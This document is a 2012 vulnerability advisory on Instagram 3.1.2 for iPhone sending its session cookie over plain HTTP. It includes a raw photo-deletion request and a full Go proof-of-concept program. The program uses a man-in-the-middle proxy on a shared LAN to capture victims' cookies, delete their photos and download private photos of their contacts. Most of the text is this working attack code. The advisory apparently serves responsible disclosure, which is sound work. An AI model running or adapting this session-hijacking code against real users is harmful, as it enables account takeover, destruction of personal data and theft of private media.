Instagram 3.1.2 For iOS, Plaintext Media Information Disclosure Security Issue

Instagram 3.1.2 for iPhone (released on Oct 23, 2012) is vulnerable to partial eavesdropping and man in the middle attacks that could lead an evil user to delete photos and download private media without the victim’s consent.

Details

The Instagram app communicates with the Instagram API via HTTP and HTTPs connections.

Highly sensitive activities, such as login and editing profile data, are sent through a secure channel. However, some other request are sent through plain HTTP without a signature, those request could be exploited by an attacker connected to the same LAN of the victim’s iPhone.

The only authentication method for some HTTP calls is an standard cookie that is sent without encryption when the user starts the Instagram app.

An attacker on the same LAN of the victim could launch a simple arpspoofing attack to trick the iPhones into passing port 80 traffic through the attackers machine. When the victim starts the Instagram app a plain text cookie is sent to the Instagram server, once the attacker gets the cookie he is able to craft special HTTP requests for getting data and deleting photos.

Suggested fix

Example

This is an example of a call for deleting a picture:

# http://instagram.com/api/v1/media/12345678901234567890_123456/delete/

POST /api/v1/media/12345678901234567890_123456/delete/ HTTP/1.1
Accept-Encoding: gzip
Accept-Language: en-us
Connection: keep-alive
Content-Length: 0
Cookie: ds_user_id=USER_ID; igls=USER_NAME; sessionid=SESSION_STRING
User-Agent: Instagram 3.1.2 (iPhone; iPhone OS 6.0; en_US) AppleWebKit/420+

Using other API calls, the attacker could find the IDs of the user photos and could request deletion for each one of them.

Proof of concept

The following code intercepts Instagram cookies and uses them to delete user photos.

Additionally, photos from contacts will be downloaded too, demonstrating that a third party could access private media.

After deletion, the Instagram app does not refresh itself, so the user does not know his photos were deleted until the next time the app does a clean start.

/*
	Man Insta Middle

	Proof of concept.
	November 2012

	Carlos Reventlov <carlos@reventlov.com>

	http://reventlov.com/poc/instagram-for-iphone-man-in-the-middle-vulnerability
*/

package main

import (
	"encoding/json"
	"fmt"
	"github.com/gosexy/sugar"
	"github.com/gosexy/to"
	"github.com/xiam/hyperfox/proxy"
	"github.com/xiam/hyperfox/tools/logger"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"os"
	"path"
	"regexp"
	"strings"
)

var userIdPattern = regexp.MustCompile(`user_id=([^;]+);`)
var fixInt64Pattern = regexp.MustCompile(`([^\\])":([0-9.]+)(\}|,|$)`)

type Victim struct {
	cookie string
	userId string
	Done   bool
}

var victims map[string]*Victim

func GetVictim(ip string) *Victim {
	if _, ok := victims[ip]; ok == false {
		fmt.Printf("** Hallo %s!\n", ip)
		victims[ip] = &Victim{}
	}
	return victims[ip]
}

func (self *Victim) SetCookie(cookie string) {
	self.cookie = cookie
}

func (self *Victim) instaRequest(method, endpoint string, body io.Reader) (*http.Request, error) {
	req, err := http.NewRequest(method, endpoint, body)

	if err != nil {
		return nil, err
	}

	req.Header.Add("User-Agent", "Instagram 3.1.2 (iPhone; iPhone OS 6.0; en_US) AppleWebKit/420+")
	req.Header.Add("Cookie", self.cookie)
	req.Header.Add("Host", req.Host)
	req.Header.Add("Accept-Language", "en-us")
	req.Header.Add("Connection", "keep-alive")

	return req, nil
}

func downloadTo(uri string, file string) error {
	os.MkdirAll(path.Dir(file), os.ModeDir|0755)

	res, err := http.Get(uri)

	if err != nil {
		return err
	}

	fp, err := os.Create(file)

	if err == nil {
		fmt.Printf("** %s -> %s\n", uri, file)
		defer fp.Close()
		defer res.Body.Close()
		io.Copy(fp, res.Body)
	}

	return err
}

func (self *Victim) getFollowing(userId string) []int64 {
	data, err := self.apiGet(fmt.Sprintf("/api/v1/friendships/%s/following?", userId))

	ids := []int64{}

	if err != nil {
		panic(err)
	}

	for _, userb := range to.List(data.Get("users")) {
		user := to.Tuple(userb)
		ids = append(ids, to.Int64(user.Get("pk")))
	}

	return ids
}

func (self *Victim) getFollowers(userId string) []int64 {
	data, err := self.apiGet(fmt.Sprintf("/api/v1/friendships/%s/followers?", userId))

	ids := []int64{}

	if err != nil {
		panic(err)
	}

	for _, userb := range to.List(data.Get("users")) {
		user := to.Tuple(userb)
		ids = append(ids, to.Int64(user.Get("pk")))
	}

	return ids
}

func (self *Victim) pullPhotos(userId string) []string {
	ids := []string{}

	photos, err := self.apiGet(fmt.Sprintf("/api/v1/feed/user/%s/?", userId))

	if err != nil {
		panic(err)
	}

	for _, photob := range to.List(photos.Get("items")) {

		photo := to.Tuple(photob)

		fromUser := to.String(photo.Get("user/username"))
		images := to.List(photo.Get("image_versions"))

		image := to.Tuple(images[0])
		imageUri := to.String(image.Get("url"))

		go func() {
			err := downloadTo(imageUri, fmt.Sprintf("images/%s/%s", fromUser, path.Base(imageUri)))

			if err != nil {
				fmt.Errorf(err.Error())
			}
		}()

		ids = append(ids, to.String(photo.Get("id")))
	}

	return ids
}

func (self *Victim) deletePhoto(photoId string) {
	data, _ := self.apiPost(fmt.Sprintf("/api/v1/media/%s/delete/", photoId), nil)
	if data.Get("status") == "ok" {
		fmt.Printf("** Deleted photo: %s\n", photoId)
	}
}

func (self *Victim) apiRequest(method string, endpoint string, data url.Values, buf io.Reader, contentType string) (*sugar.Tuple, error) {
	var req *http.Request

	if buf == nil {
		if data == nil {
			req, _ = self.instaRequest(method, endpoint, nil)
		} else {
			req, _ = self.instaRequest(method, endpoint, strings.NewReader(data.Encode()))
		}
	} else {
		req, _ = self.instaRequest(method, endpoint, buf)
	}

	fmt.Printf("## %s %s\n", method, endpoint)

	if data != nil {
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
	} else if contentType != "" {
		req.Header.Set("Content-Type", contentType)
	}

	client := &http.Client{}

	res, err := client.Do(req)

	if err != nil {
		return nil, err
	}

	body, _ := ioutil.ReadAll(res.Body)
	result := &sugar.Tuple{}

	strbody := fixInt64Pattern.ReplaceAllString(string(body), `$1":"$2"$3`)

	err = json.Unmarshal([]byte(strbody), result)

	if err != nil {
		return nil, err
	}

	return result, nil
}

func (self *Victim) apiPost(endpoint string, data url.Values) (*sugar.Tuple, error) {
	return self.apiRequest("POST", fmt.Sprintf("http://instagram.com/%s", strings.TrimLeft(endpoint, "/")), data, nil, "")
}

func (self *Victim) apiGet(endpoint string) (*sugar.Tuple, error) {
	return self.apiRequest("GET", fmt.Sprintf("http://instagram.com/%s", strings.TrimLeft(endpoint, "/")), nil, nil, "")
}

func (self *Victim) TakeOver() error {

	if self.cookie != "" {

		found := userIdPattern.FindAllStringSubmatch(self.cookie, 1)

		if len(found) == 1 {
			self.userId = found[0][1]
		}

		if self.userId != "" {

			self.Done = true

			// Getting user photos.
			photoIds := self.pullPhotos(self.userId)

			// Deleting first page of photos.
			for _, photoId := range photoIds {
				self.deletePhoto(photoId)
				// This break was left intentionally here ;-).
				break
			}

			// Pulling followers's photos
			followers := self.getFollowers(self.userId)

			for _, followerId := range followers {
				self.pullPhotos(to.String(followerId))
			}

			// Pulling following's photos.
			following := self.getFollowing(self.userId)

			for _, followerId := range following {
				self.pullPhotos(to.String(followerId))
			}

		}

	}
	return nil
}

func waitForCookie(pr *proxy.ProxyRequest) io.WriteCloser {
	hostn := strings.SplitN(pr.Request.RemoteAddr, ":", 2)
	localIp := hostn[0]

	if pr.Request.Host == "instagram.com" {
		if strings.HasPrefix(pr.Request.RequestURI, "/api/") {
			victim := GetVictim(localIp)
			if victim.Done == false {
				victim.SetCookie(pr.Request.Header.Get("Cookie"))
				victim.TakeOver()
			}
		}
	}

	return nil
}

func main() {

	victims = make(map[string]*Victim)

	p := proxy.New()

	p.AddDirector(logger.Client(os.Stdout))

	p.AddWriter(waitForCookie)

	p.AddLogger(logger.Server(os.Stdout))

	var err error

	err = p.Start()

	if err != nil {
		log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
	}
}

Disclosure timeline